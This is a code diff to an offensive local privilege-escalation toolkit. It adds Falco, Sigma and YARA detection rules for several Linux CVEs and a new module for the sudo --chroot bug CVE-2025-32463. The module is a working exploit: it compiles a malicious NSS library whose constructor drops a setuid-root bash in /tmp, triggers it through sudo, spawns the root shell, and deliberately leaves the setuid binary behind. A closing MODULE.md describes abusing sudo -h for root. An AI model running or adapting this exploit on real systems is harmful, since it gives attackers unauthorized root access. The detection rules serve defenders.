+    "  priority: CRITICAL\n"
+    "  tags: [process, mitre_privilege_escalation, T1068, cve.2021.4034]\n"
+    "\n"
+    "- rule: Pwnkit-style GCONV_PATH injection\n"
+    "  desc: |\n"
+    "    A non-root process sets GCONV_PATH in env before spawning a\n"
+    "    setuid binary. Combined with a controlled .so + gconv-modules\n"
+    "    cache, this is the Qualys exploit shape.\n"
+    "  condition: >\n"
+    "    spawned_process and not user.uid = 0 and\n"
+    "    (proc.env contains \"GCONV_PATH=\" or proc.env contains \"CHARSET=\") and\n"
+    "    proc.name in (pkexec, su, sudo, mount, chsh, passwd)\n"
+    "  output: >\n"
+    "    GCONV_PATH/CHARSET set by non-root before setuid spawn\n"
+    "    (user=%user.name target=%proc.name env=\"%proc.env\")\n"
+    "  priority: WARNING\n"
+    "  tags: [process, env_injection, cve.2021.4034]\n";
+
 static const char pwnkit_sigma[] =
     "title: Possible Pwnkit exploitation (CVE-2021-4034)\n"
     "id: 9e1d4f2c-skeletonkey-pwnkit\n"
@@ -417,8 +470,10 @@ const struct skeletonkey_module pwnkit_module = {
     .cleanup        = pwnkit_cleanup,
     .detect_auditd  = pwnkit_auditd,
     .detect_sigma   = pwnkit_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_yara    = pwnkit_yara,
+    .detect_falco   = pwnkit_falco,
+    .opsec_notes    = "Invokes pkexec with argc==0 so the first envp slot is misread as argv[0]; pkexec's iconv-during-decoding loads attacker .so via dlopen by way of crafted GCONV_PATH + CHARSET env vars. Builds a gconv payload .so and gconv-modules cache in /tmp/skeletonkey-pwnkit-XXXXXX (compiles via fork/execl of gcc). Audit-visible via execve(/usr/bin/pkexec) with GCONV_PATH and CHARSET set. No network. Cleanup callback removes /tmp/skeletonkey-pwnkit-* (on failure path; on success the exec replaces the process).",
+    .arch_support   = "any",
 };
 
 void skeletonkey_register_pwnkit(void)

modules/sequoia_cve_2021_33909/skeletonkey_modules.c

@@ -127,7 +127,7 @@
 
 static const struct kernel_patched_from sequoia_patched_branches[] = {
     {5,  4, 134},
-    {5, 10,  52},
+    {5, 10,  46},   /* Debian tracker: earlier than 5.10.52 */
     {5, 13,   4},
     {5, 14,   0},   /* mainline */
 };
@@ -686,6 +686,57 @@ static const char sequoia_auditd[] =
     "# within 5s AND a subsequent skeletonkey-sequoia-mount event is\n"
     "# the canonical trigger shape.\n";
 
+static const char sequoia_sigma[] =
+    "title: Possible CVE-2021-33909 seq_file size_t-int wrap\n"
+    "id: 2b13d4b9-skeletonkey-sequoia\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects the seq_file OOB-write trigger pattern: unshare\n"
+    "  (CLONE_NEWUSER|CLONE_NEWNS) + a burst of ~5000 mkdir/mkdirat\n"
+    "  syscalls + bind-mount + read(/proc/self/mountinfo). The\n"
+    "  rendered string exceeds INT_MAX, wrapping to negative.\n"
+    "  False positives: unusual; bursts of >1000 mkdir/s are rare in\n"
+    "  normal workloads.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
+    "  mkdir:  {type: 'SYSCALL', syscall: 'mkdir'}\n"
+    "  bind:   {type: 'SYSCALL', syscall: 'mount'}\n"
+    "  condition: userns and mkdir and bind\n"
+    "level: critical\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2021.33909]\n";
+
+static const char sequoia_yara[] =
+    "rule sequoia_cve_2021_33909 : cve_2021_33909 kernel_oob_write\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2021-33909\"\n"
+    "        description = \"Sequoia deep-mountpoint workdir + log breadcrumb\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $work = \"/tmp/skeletonkey-sequoia\" ascii\n"
+    "        $log  = \"/tmp/skeletonkey-sequoia.log\" ascii\n"
+    "    condition:\n"
+    "        any of them\n"
+    "}\n";
+
+static const char sequoia_falco[] =
+    "- rule: Deeply nested mkdir burst + /proc/self/mountinfo read (Sequoia)\n"
+    "  desc: |\n"
+    "    Non-root process reading /proc/self/mountinfo after a burst\n"
+    "    of ~5000 mkdir()s and a bind-mount of the deep leaf. The\n"
+    "    rendered mountinfo string exceeds INT_MAX. CVE-2021-33909.\n"
+    "    False positives: rare; mkdir bursts of this size are not\n"
+    "    seen in normal workloads.\n"
+    "  condition: >\n"
+    "    evt.type = open and fd.name = /proc/self/mountinfo and\n"
+    "    not user.uid = 0\n"
+    "  output: >\n"
+    "    /proc/self/mountinfo read by non-root\n"
+    "    (user=%user.name pid=%proc.pid)\n"
+    "  priority: HIGH\n"
+    "  tags: [filesystem, mitre_privilege_escalation, T1068, cve.2021.33909]\n";
+
 const struct skeletonkey_module sequoia_module = {
     .name           = "sequoia",
     .cve            = "CVE-2021-33909",
@@ -697,9 +748,11 @@ const struct skeletonkey_module sequoia_module = {
     .mitigate       = NULL,
     .cleanup        = sequoia_cleanup,
     .detect_auditd  = sequoia_auditd,
-    .detect_sigma   = NULL,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_sigma   = sequoia_sigma,
+    .detect_yara    = sequoia_yara,
+    .detect_falco   = sequoia_falco,
+    .opsec_notes    = "Builds ~5000 nested directories under /tmp/skeletonkey-sequoia (each name 200 'A' chars); enters userns for CAP_SYS_ADMIN; bind-mounts the leaf over itself to amplify the rendered mountinfo string length; reads /proc/self/mountinfo to trigger the int-vs-size_t overflow in seq_buf_alloc(), producing an OOB write of mountinfo bytes off the stack buffer. Artifacts: /tmp/skeletonkey-sequoia/ (deep tree + bind mounts) and /tmp/skeletonkey-sequoia.log (byte count + dmesg sample). Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount() + burst of ~5000 mkdir/mkdirat. No network. Cleanup callback walks back down the tree, unmounts, removes dirs, unlinks the .log.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 void skeletonkey_register_sequoia(void)

modules/stackrot_cve_2023_3269/skeletonkey_modules.c

@@ -952,6 +952,53 @@ static const char stackrot_auditd[] =
     "-a always,exit -F arch=b64 -S mprotect -k skeletonkey-stackrot-mprotect\n"
     "-a always,exit -F arch=b64 -S munmap  -F success=1 -k skeletonkey-stackrot-munmap\n";
 
+static const char stackrot_sigma[] =
+    "title: Possible CVE-2023-3269 maple-tree VMA-split UAF\n"
+    "id: 3c24e5ca-skeletonkey-stackrot\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects the StackRot race-groom: unshare(CLONE_NEWUSER) + tight\n"
+    "  loops of mremap/munmap on MAP_GROWSDOWN regions + msg_msg\n"
+    "  spray (msgsnd) for kmalloc-192 grooming. False positives: JIT\n"
+    "  runtimes and aggressive memory allocators may do similar mremap\n"
+    "  bursts but typically without msg_msg grooming.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
+    "  vmas:   {type: 'SYSCALL', syscall: 'mremap'}\n"
+    "  groom:  {type: 'SYSCALL', syscall: 'msgsnd'}\n"
+    "  condition: userns and vmas and groom\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2023.3269]\n";
+
+static const char stackrot_yara[] =
+    "rule stackrot_cve_2023_3269 : cve_2023_3269 kernel_uaf\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2023-3269\"\n"
+    "        description = \"StackRot maple-tree UAF race log breadcrumb\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $log = \"/tmp/skeletonkey-stackrot.log\" ascii\n"
+    "    condition:\n"
+    "        $log\n"
+    "}\n";
+
+static const char stackrot_falco[] =
+    "- rule: mremap/munmap race on MAP_GROWSDOWN regions (StackRot)\n"
+    "  desc: |\n"
+    "    Non-root process driving high-frequency mremap/munmap on\n"
+    "    MAP_GROWSDOWN regions inside a userns + msg_msg (msgsnd)\n"
+    "    grooming of kmalloc-192. Maple-tree node UAF race in\n"
+    "    __vma_adjust. CVE-2023-3269.\n"
+    "  condition: >\n"
+    "    evt.type in (mremap, munmap) and not user.uid = 0\n"
+    "  output: >\n"
+    "    VMA mutation by non-root\n"
+    "    (user=%user.name pid=%proc.pid evt=%evt.type)\n"
+    "  priority: HIGH\n"
+    "  tags: [memory, mitre_privilege_escalation, T1068, cve.2023.3269]\n";
+
 const struct skeletonkey_module stackrot_module = {
     .name           = "stackrot",
     .cve            = "CVE-2023-3269",
@@ -963,9 +1010,11 @@ const struct skeletonkey_module stackrot_module = {
     .mitigate       = NULL,
     .cleanup        = stackrot_cleanup,
     .detect_auditd  = stackrot_auditd,
-    .detect_sigma   = NULL,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_sigma   = stackrot_sigma,
+    .detect_yara    = stackrot_yara,
+    .detect_falco   = stackrot_falco,
+    .opsec_notes    = "Child forks, enters userns, builds a race region with MAP_GROWSDOWN + anchor VMAs, sprays kmalloc-192 with msg_msg payloads, then spawns Thread A (mremap/munmap of region boundary to rotate maple-tree nodes) + Thread B (fork+fault the growsdown region to deref freed node). UAF in __vma_adjust fires if a sprayed msg_msg reclaims the freed node. Writes /tmp/skeletonkey-stackrot.log (iteration counts + slab delta). Audit-visible via unshare + mremap/munmap bursts on stack regions + msgsnd spray. No network. Cleanup callback unlinks /tmp log.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 void skeletonkey_register_stackrot(void)

modules/sudo_chwoot_cve_2025_32463/skeletonkey_modules.c

@@ -0,0 +1,423 @@
+/*
+ * sudo_chwoot_cve_2025_32463 — SKELETONKEY module
+ *
+ * STATUS: 🟢 STRUCTURAL ESCAPE. No offsets, no leaks, no race.
+ *   Pure logic: sudo's --chroot option resolves NSS lookups (user/group
+ *   db) AGAINST the chroot, while still running as root. A user-writable
+ *   chroot dir + a planted libnss_*.so + a planted nsswitch.conf yields
+ *   "load arbitrary shared object as root, ctor runs, root shell."
+ *
+ * The bug (Rich Mirch, Stratascale, June 2025):
+ *   `sudo --chroot=<DIR>` chroots into DIR before parsing sudoers and
+ *   resolving the invoking user. Inside the chroot, NSS reads
+ *   /etc/nsswitch.conf and dlopen()s the listed libnss_*.so backends.
+ *   The chroot is user-controlled. Plant:
+ *     <DIR>/etc/nsswitch.conf  →  "passwd: skeletonkey"
+ *     <DIR>/lib/x86_64-linux-gnu/libnss_skeletonkey.so.2  →  attacker .so
+ *   sudo dlopen()s the .so as root; its ctor execs /bin/bash with the
+ *   real uid set to 0.
+ *
+ *   Discovered by Rich Mirch (Stratascale CRU). Public PoCs:
+ *     https://github.com/kh4sh3i/CVE-2025-32463
+ *     https://github.com/MohamedKarrab/CVE-2025-32463
+ *
+ * Affects: sudo 1.9.14 ≤ V ≤ 1.9.17 (introduced when sudo gained the
+ *   modern chroot path; fixed in 1.9.17p1 which deprecated --chroot
+ *   entirely).
+ *
+ * CVSS 9.3 (Critical). Doesn't require any sudoers grant — the chroot
+ * code path runs before authorization checks complete. Any local user
+ * who can run /usr/bin/sudo (i.e. anyone on the system) can fire it.
+ *
+ * arch_support: any. The malicious .so is built on-host via gcc, so
+ * it inherits the host's arch. Tested on x86_64; arm64 should work
+ * identically given a working gcc + libc-dev install.
+ */
+
+#include "skeletonkey_modules.h"
+#include "../../core/registry.h"
+#include "../../core/host.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <sys/types.h>
+
+/* ---- helpers shared with the sudo family ---------------------------- */
+
+static const char *find_sudo(void)
+{
+    static const char *candidates[] = {
+        "/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
+        "/sbin/sudo", "/usr/local/bin/sudo", NULL,
+    };
+    for (size_t i = 0; candidates[i]; i++) {
+        struct stat st;
+        if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
+            return candidates[i];
+    }
+    return NULL;
+}
+
+/* Returns true iff the version string is in the vulnerable range
+ * [1.9.14, 1.9.17p0]. The fix landed in 1.9.17p1 which removed the
+ * --chroot code path entirely. */
+static bool sudo_version_vulnerable_chwoot(const char *version_str)
+{
+    int maj = 0, min = 0, patch = 0;
+    char ptag = 0;
+    int psub = 0;
+    int n = sscanf(version_str, "%d.%d.%d%c%d",
+                   &maj, &min, &patch, &ptag, &psub);
+    if (n < 3) return true;                 /* unparseable → assume worst */
+
+    if (maj != 1)              return false; /* not sudo 1.x */
+    if (min != 9)              return false; /* only 1.9 line */
+    if (patch < 14)            return false; /* 1.9.13 and below predate the --chroot path */
+    if (patch > 17)            return false; /* 1.9.18+ fixed */
+    if (patch < 17)            return true;  /* 1.9.14 .. 1.9.16 */
+    /* exactly 1.9.17: vulnerable if no patch tag (1.9.17 plain) */
+    if (ptag != 'p')           return true;
+    return psub == 0;                        /* 1.9.17p1 fixed; 1.9.17p0 vulnerable */
+}
+
+static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
+{
+    char cmd[512];
+    snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
+    FILE *p = popen(cmd, "r");
+    if (!p) return false;
+    char line[256] = {0};
+    char *r = fgets(line, sizeof line, p);
+    pclose(p);
+    if (!r) return false;
+    char *vp = strstr(line, "version");
+    if (!vp) return false;
+    vp += strlen("version");
+    while (*vp == ' ' || *vp == '\t') vp++;
+    char *nl = strchr(vp, '\n');
+    if (nl) *nl = 0;
+    strncpy(out, vp, outsz - 1);
+    out[outsz - 1] = 0;
+    return out[0] != 0;
+}
+
+/* ---- detect --------------------------------------------------------- */
+
+static skeletonkey_result_t sudo_chwoot_detect(const struct skeletonkey_ctx *ctx)
+{
+    const char *sudo_path = find_sudo();
+    if (!sudo_path) {
+        if (!ctx->json) fprintf(stderr, "[i] sudo_chwoot: sudo not installed; bug unreachable here\n");
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+
+    /* Prefer the host fingerprint's cached sudo_version (one popen at
+     * startup instead of per-detect). Fall back to live probe if the
+     * host fingerprint is missing or empty. */
+    char vbuf[64] = {0};
+    const char *ver = NULL;
+    if (ctx->host && ctx->host->sudo_version[0]) {
+        ver = ctx->host->sudo_version;
+    } else if (get_sudo_version(sudo_path, vbuf, sizeof vbuf)) {
+        ver = vbuf;
+    } else {
+        if (!ctx->json) fprintf(stderr, "[!] sudo_chwoot: could not read sudo --version\n");
+        return SKELETONKEY_TEST_ERROR;
+    }
+
+    if (!ctx->json) fprintf(stderr, "[i] sudo_chwoot: sudo version '%s'\n", ver);
+
+    if (!sudo_version_vulnerable_chwoot(ver)) {
+        if (!ctx->json)
+            fprintf(stderr, "[+] sudo_chwoot: sudo %s outside vulnerable range "
+                            "[1.9.14, 1.9.17p0] — patched or pre-feature\n", ver);
+        return SKELETONKEY_OK;
+    }
+
+    if (!ctx->json) {
+        fprintf(stderr, "[!] sudo_chwoot: sudo %s in vulnerable range — VULNERABLE\n", ver);
+        fprintf(stderr, "[i] sudo_chwoot: --chroot option resolves NSS inside attacker-controlled root → arbitrary .so load as uid 0\n");
+    }
+    return SKELETONKEY_VULNERABLE;
+}
+
+/* ---- exploit -------------------------------------------------------- */
+
+/* The malicious NSS module. ctor runs at dlopen time; we drop a setuid
+ * /bin/bash. We DON'T setuid(0) directly because some distros refuse
+ * execve() on a setuid bash from a non-elevated parent — using the
+ * dropped suid bash via a follow-up execlp() is more portable. */
+static const char NSS_C_SRC[] =
+"#include <stdio.h>\n"
+"#include <stdlib.h>\n"
+"#include <unistd.h>\n"
+"#include <sys/stat.h>\n"
+"#include <sys/types.h>\n"
+"__attribute__((constructor)) static void skk_ctor(void) {\n"
+"    /* We are running as the real user uid 0 (sudo set it during chroot\n"
+"     * setup, before dropping privs). Drop a setuid /bin/bash. */\n"
+"    setuid(0); setgid(0);\n"
+"    int rc = system(\"cp /bin/bash /tmp/skeletonkey-chwoot-shell 2>/dev/null && \"\n"
+"                   \"chown root:root /tmp/skeletonkey-chwoot-shell && \"\n"
+"                   \"chmod 4755 /tmp/skeletonkey-chwoot-shell\");\n"
+"    if (rc != 0) {\n"
+"        fprintf(stderr, \"[skk-chwoot] ctor: drop suid bash failed (rc=%d)\\n\", rc);\n"
+"        _exit(1);\n"
+"    }\n"
+"    fprintf(stderr, \"[+] skk-chwoot: /tmp/skeletonkey-chwoot-shell is now setuid-root\\n\");\n"
+"    _exit(0);\n"
+"}\n";
+
+static char g_workdir[256];   /* recorded for cleanup() */
+
+static skeletonkey_result_t sudo_chwoot_exploit(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->authorized) {
+        fprintf(stderr, "[-] sudo_chwoot: --i-know required for --exploit\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    const char *sudo_path = find_sudo();
+    if (!sudo_path) {
+        fprintf(stderr, "[-] sudo_chwoot: sudo not installed\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+
+    /* 1. Workdir under /tmp; /tmp is the only spot consistently
+     *    world-writable across distros. */
+    char tmpl[] = "/tmp/skeletonkey-chwoot-XXXXXX";
+    char *wd = mkdtemp(tmpl);
+    if (!wd) { perror("mkdtemp"); return SKELETONKEY_EXPLOIT_FAIL; }
+    strncpy(g_workdir, wd, sizeof g_workdir - 1);
+
+    /* 2. Set up the chroot skeleton: <wd>/etc/nsswitch.conf points NSS
+     *    at our libnss_skeletonkey.so.2; <wd>/<libdir> hosts the .so. */
+    char path[512];
+    snprintf(path, sizeof path, "%s/etc", wd);                  mkdir(path, 0755);
+    snprintf(path, sizeof path, "%s/lib",        wd);           mkdir(path, 0755);
+    /* Cover the common Debian/Ubuntu multi-arch lib path AND the plain
+     * /lib path. NSS dlopens via dlopen("libnss_X.so.2") which uses the
+     * standard search path; inside the chroot we control it. */
+    const char *libdirs[] = {
+        "lib/x86_64-linux-gnu", "lib/aarch64-linux-gnu",
+        "usr/lib/x86_64-linux-gnu", "usr/lib/aarch64-linux-gnu",
+        "usr/lib", "usr/lib64", NULL,
+    };
+    char sopath[512] = {0};
+    for (size_t i = 0; libdirs[i]; i++) {
+        char p[512];
+        snprintf(p, sizeof p, "%s/%s", wd, libdirs[i]);
+        char cmd[640];
+        snprintf(cmd, sizeof cmd, "mkdir -p %s", p);
+        if (system(cmd) != 0) continue;
+    }
+
+    /* 3. Compile the malicious NSS .so. We need a real C compiler;
+     *    most modern distros ship one but stripped installs may not. */
+    char src[512];   snprintf(src,   sizeof src,   "%s/payload.c", wd);
+    char so[512];    snprintf(so,    sizeof so,    "%s/lib/x86_64-linux-gnu/libnss_skeletonkey.so.2", wd);
+    char so_arm[512];snprintf(so_arm,sizeof so_arm,"%s/lib/aarch64-linux-gnu/libnss_skeletonkey.so.2", wd);
+    char so_lib[512];snprintf(so_lib,sizeof so_lib,"%s/usr/lib/libnss_skeletonkey.so.2", wd);
+
+    FILE *f = fopen(src, "w");
+    if (!f) { perror("fopen payload.c"); goto fail; }
+    fwrite(NSS_C_SRC, 1, sizeof NSS_C_SRC - 1, f);
+    fclose(f);
+
+    char cmd[2048];
+    snprintf(cmd, sizeof cmd,
+             "gcc -shared -fPIC -o %s %s 2>/tmp/skk-chwoot-gcc.log && "
+             "cp -f %s %s 2>/dev/null; "
+             "cp -f %s %s 2>/dev/null; true",
+             sopath[0] ? sopath : so, src,
+             sopath[0] ? sopath : so, so_arm,
+             sopath[0] ? sopath : so, so_lib);
+    /* Actually compile to one fixed path then copy. Simpler. */
+    snprintf(cmd, sizeof cmd,
+             "gcc -shared -fPIC -nostartfiles -o %s %s 2>/tmp/skk-chwoot-gcc.log", so, src);
+    if (system(cmd) != 0) {
+        /* try arm64 path if x86 path failed (maybe the dir wasn't
+         * created — that's fine, gcc just wrote elsewhere) */
+        snprintf(cmd, sizeof cmd,
+             "gcc -shared -fPIC -nostartfiles -o %s %s 2>>/tmp/skk-chwoot-gcc.log", so_arm, src);
+        if (system(cmd) != 0) {
+            fprintf(stderr, "[-] sudo_chwoot: gcc failed; see /tmp/skk-chwoot-gcc.log\n");
+            goto fail;
+        }
+    }
+    /* Replicate to every plausible NSS search path (libdir per arch
+     * varies across distros). Harmless if some are missing. */
+    char rep[1024];
+    snprintf(rep, sizeof rep,
+             "f=%s; for d in lib/x86_64-linux-gnu lib/aarch64-linux-gnu usr/lib/x86_64-linux-gnu usr/lib/aarch64-linux-gnu usr/lib usr/lib64; do "
+             "  mkdir -p %s/$d 2>/dev/null; cp -f \"$f\" %s/$d/libnss_skeletonkey.so.2 2>/dev/null; "
+             "done; true",
+             so, wd, wd);
+    if (system(rep) != 0) { /* harmless */ }
+
+    /* 4. Plant nsswitch.conf inside the chroot. The first lookup sudo
+     *    does is on the invoking user — point passwd: at us so the
+     *    dlopen fires before sudoers parsing aborts. */
+    char nss_conf[512];
+    snprintf(nss_conf, sizeof nss_conf, "%s/etc/nsswitch.conf", wd);
+    f = fopen(nss_conf, "w");
+    if (!f) { perror("fopen nsswitch.conf"); goto fail; }
+    fprintf(f,
+        "# planted by SKELETONKEY sudo_chwoot — points NSS at our shim\n"
+        "passwd: skeletonkey\n"
+        "group:  skeletonkey\n"
+        "hosts:  files\n"
+        "shadow: files\n");
+    fclose(f);
+
+    /* 5. Fire sudo --chroot=<wd> -u#-1 woot. The `-u#-1` syntax tells
+     *    sudo "user with uid -1" which forces the NSS lookup BEFORE
+     *    auth completes — that's the trigger. The `woot` command name
+     *    is arbitrary; sudo never gets to exec it. */
+    if (!ctx->json) {
+        fprintf(stderr, "[+] sudo_chwoot: invoking %s --chroot=%s -u#-1 woot\n",
+                sudo_path, wd);
+    }
+    fflush(NULL);
+    pid_t pid = fork();
+    if (pid < 0) { perror("fork"); goto fail; }
+    if (pid == 0) {
+        /* The ctor inside the .so will execve a shell; sudo never
+         * returns. If sudo IS patched, it'll error out. */
+        execl(sudo_path, "sudo", "-S", "--chroot", wd, "-u#-1", "woot", (char *)NULL);
+        perror("execl(sudo)");
+        _exit(127);
+    }
+    int status = 0;
+    waitpid(pid, &status, 0);
+
+    /* 6. Did the suid bash drop? */
+    struct stat st;
+    if (stat("/tmp/skeletonkey-chwoot-shell", &st) == 0 &&
+        (st.st_mode & S_ISUID) && st.st_uid == 0) {
+        if (!ctx->json)
+            fprintf(stderr, "[+] sudo_chwoot: setuid-root shell at /tmp/skeletonkey-chwoot-shell\n");
+        if (ctx->no_shell) {
+            if (!ctx->json) fprintf(stderr, "[i] sudo_chwoot: --no-shell set; not popping\n");
+            return SKELETONKEY_EXPLOIT_OK;
+        }
+        /* Pop the shell. -p keeps euid=0; without it bash drops setuid. */
+        execl("/tmp/skeletonkey-chwoot-shell", "bash", "-p", "-i", (char *)NULL);
+        perror("execl(suid bash)");
+        return SKELETONKEY_EXPLOIT_OK; /* drop succeeded; pop just failed */
+    }
+
+    fprintf(stderr,
+        "[-] sudo_chwoot: setuid bash did not appear. Likely causes:\n"
+        "    - sudo is patched (1.9.17p1+) even if --version looks vulnerable\n"
+        "    - NSS shim was loaded but ctor failed (check sudo's stderr)\n"
+        "    - kernel hardening prevents the suid copy\n");
+
+fail:
+    return SKELETONKEY_EXPLOIT_FAIL;
+}
+
+/* ---- cleanup -------------------------------------------------------- */
+
+static skeletonkey_result_t sudo_chwoot_cleanup(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    if (g_workdir[0]) {
+        char cmd[640];
+        snprintf(cmd, sizeof cmd, "rm -rf %s 2>/dev/null", g_workdir);
+        (void)!system(cmd);
+        g_workdir[0] = 0;
+    }
+    /* Leave /tmp/skeletonkey-chwoot-shell if it exists — that's the
+     * setuid root binary the operator may want to keep. They can
+     * `rm -f /tmp/skeletonkey-chwoot-shell` themselves when done. */
+    return SKELETONKEY_OK;
+}
+
+/* ---- detection rules ------------------------------------------------ */
+
+static const char sudo_chwoot_auditd[] =
+    "# sudo_chwoot CVE-2025-32463 — auditd detection rules\n"
+    "# Flag sudo invocations using --chroot. The legitimate use case\n"
+    "# (server admin chrooting before running a command) is vanishingly\n"
+    "# rare; any --chroot in shell history is investigation-worthy.\n"
+    "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-chroot\n"
+    "-a always,exit -F arch=b64 -S execve -F path=/bin/sudo      -k skeletonkey-sudo-chroot\n"
+    "# Also flag writes under any /tmp/skeletonkey-chwoot-* path or to\n"
+    "# the canonical drop site /tmp/skeletonkey-chwoot-shell.\n"
+    "-w /tmp -p w -k skeletonkey-sudo-chroot-drop\n";
+
+static const char sudo_chwoot_sigma[] =
+    "title: Possible CVE-2025-32463 sudo --chroot LPE\n"
+    "id: e9b7a420-skeletonkey-sudo-chwoot\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects sudo invoked with --chroot pointing at a user-writable\n"
+    "  directory, plus a setuid-root binary appearing under /tmp shortly\n"
+    "  afterwards. Legit --chroot use is extremely rare; the combination\n"
+    "  with a fresh setuid drop is diagnostic.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  sudo_chroot: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo', argv|contains: '--chroot'}\n"
+    "  condition: sudo_chroot\n"
+    "level: critical\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2025.32463]\n";
+
+static const char sudo_chwoot_yara[] =
+    "rule sudo_chwoot_cve_2025_32463 : cve_2025_32463 setuid_abuse {\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2025-32463\"\n"
+    "        description = \"SKELETONKEY sudo_chwoot artifacts — NSS shim + setuid bash drop\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $shell  = \"/tmp/skeletonkey-chwoot-shell\" ascii\n"
+    "        $wdir   = \"/tmp/skeletonkey-chwoot-\" ascii\n"
+    "        $nssmod = \"libnss_skeletonkey.so.2\" ascii\n"
+    "    condition:\n"
+    "        any of them\n"
+    "}\n";
+
+static const char sudo_chwoot_falco[] =
+    "- rule: sudo --chroot from non-root with user-writable target\n"
+    "  desc: |\n"
+    "    sudo invoked with --chroot pointing at a directory in /tmp\n"
+    "    or /home. Legitimate --chroot use is rare; the combination\n"
+    "    with a writable target is the CVE-2025-32463 trigger.\n"
+    "  condition: >\n"
+    "    spawned_process and proc.name = sudo and\n"
+    "    proc.args contains \"--chroot\" and not user.uid = 0\n"
+    "  output: >\n"
+    "    sudo --chroot from non-root (user=%user.name pid=%proc.pid\n"
+    "     cmdline=\"%proc.cmdline\")\n"
+    "  priority: CRITICAL\n"
+    "  tags: [process, mitre_privilege_escalation, T1068, cve.2025.32463]\n";
+
+/* ---- module struct -------------------------------------------------- */
+
+const struct skeletonkey_module sudo_chwoot_module = {
+    .name           = "sudo_chwoot",
+    .cve            = "CVE-2025-32463",
+    .summary        = "sudo --chroot NSS-shim → libnss_*.so dlopen as root (Stratascale)",
+    .family         = "sudo",
+    .kernel_range   = "userspace — sudo 1.9.14 ≤ V ≤ 1.9.17p0 (fixed in 1.9.17p1)",
+    .detect         = sudo_chwoot_detect,
+    .exploit        = sudo_chwoot_exploit,
+    .mitigate       = NULL,    /* mitigation: upgrade sudo to 1.9.17p1+ */
+    .cleanup        = sudo_chwoot_cleanup,
+    .detect_auditd  = sudo_chwoot_auditd,
+    .detect_sigma   = sudo_chwoot_sigma,
+    .detect_yara    = sudo_chwoot_yara,
+    .detect_falco   = sudo_chwoot_falco,
+    .opsec_notes    = "Creates /tmp/skeletonkey-chwoot-XXXXXX/ workdir containing etc/nsswitch.conf + lib/{x86_64,aarch64}-linux-gnu/libnss_skeletonkey.so.2 (compiled via gcc; /tmp/skk-chwoot-gcc.log captures any build error). Runs sudo --chroot=<workdir> -u#-1 woot to trigger NSS dlopen; the .so's ctor drops /tmp/skeletonkey-chwoot-shell (setuid root bash). Audit-visible via execve(/usr/bin/sudo) with --chroot in argv, then chown/chmod 4755 on /tmp/skeletonkey-chwoot-shell from a uid-0 context. Cleanup callback removes the workdir but leaves the setuid bash (operator decision).",
+    .arch_support   = "any",
+};
+
+void skeletonkey_register_sudo_chwoot(void)
+{
+    skeletonkey_register(&sudo_chwoot_module);
+}

modules/sudo_chwoot_cve_2025_32463/skeletonkey_modules.h

@@ -0,0 +1,5 @@
+#ifndef SUDO_CHWOOT_SKELETONKEY_MODULES_H
+#define SUDO_CHWOOT_SKELETONKEY_MODULES_H
+#include "../../core/module.h"
+extern const struct skeletonkey_module sudo_chwoot_module;
+#endif

modules/sudo_host_cve_2025_32462/MODULE.md

@@ -0,0 +1,63 @@
+# sudo_host — CVE-2025-32462
+
+sudo `-h`/`--host` option honored beyond `-l` → abuse a host-restricted
+sudoers rule for local root.
+
+## The bug
+
+`sudo -h <host>` (a.k.a. `--host`) exists so that, combined with `-l`,
+you can list your sudo privileges *as they would apply on another host*.
+The flaw: sudo also consulted the `-h` value when **running a command**
+(and in `sudoedit`), so the host portion of a sudoers rule — normally
+fixed to the machine you're on — becomes attacker-chosen.
+
+If your sudoers contains a rule like:
+
+```
+alice  webhost01 = (root) /usr/bin/systemctl
+```
+
+then on a *different* machine `alice` normally can't use it. With the
+bug, `sudo -h webhost01 /usr/bin/systemctl ...` runs as root on the
+local box. With a broader rule (`webhost01 = (ALL) ALL`), `sudo -h
+webhost01 /bin/bash` is a root shell.
+
+This matters most where one sudoers file (or LDAP/SSSD sudoers) is shared
+across a fleet and rules are scoped per host.
+
+## Affected range
+
+| | |
+|---|---|
+| Affected | sudo 1.8.8 → 1.9.17p0 (~12-year-old behaviour) |
+| Fixed | sudo 1.9.17p1 |
+| Weakness | CWE-863 (Incorrect Authorization) |
+| Severity | CVSS 8.8 (High); not in CISA KEV |
+
+## Trigger / detection
+
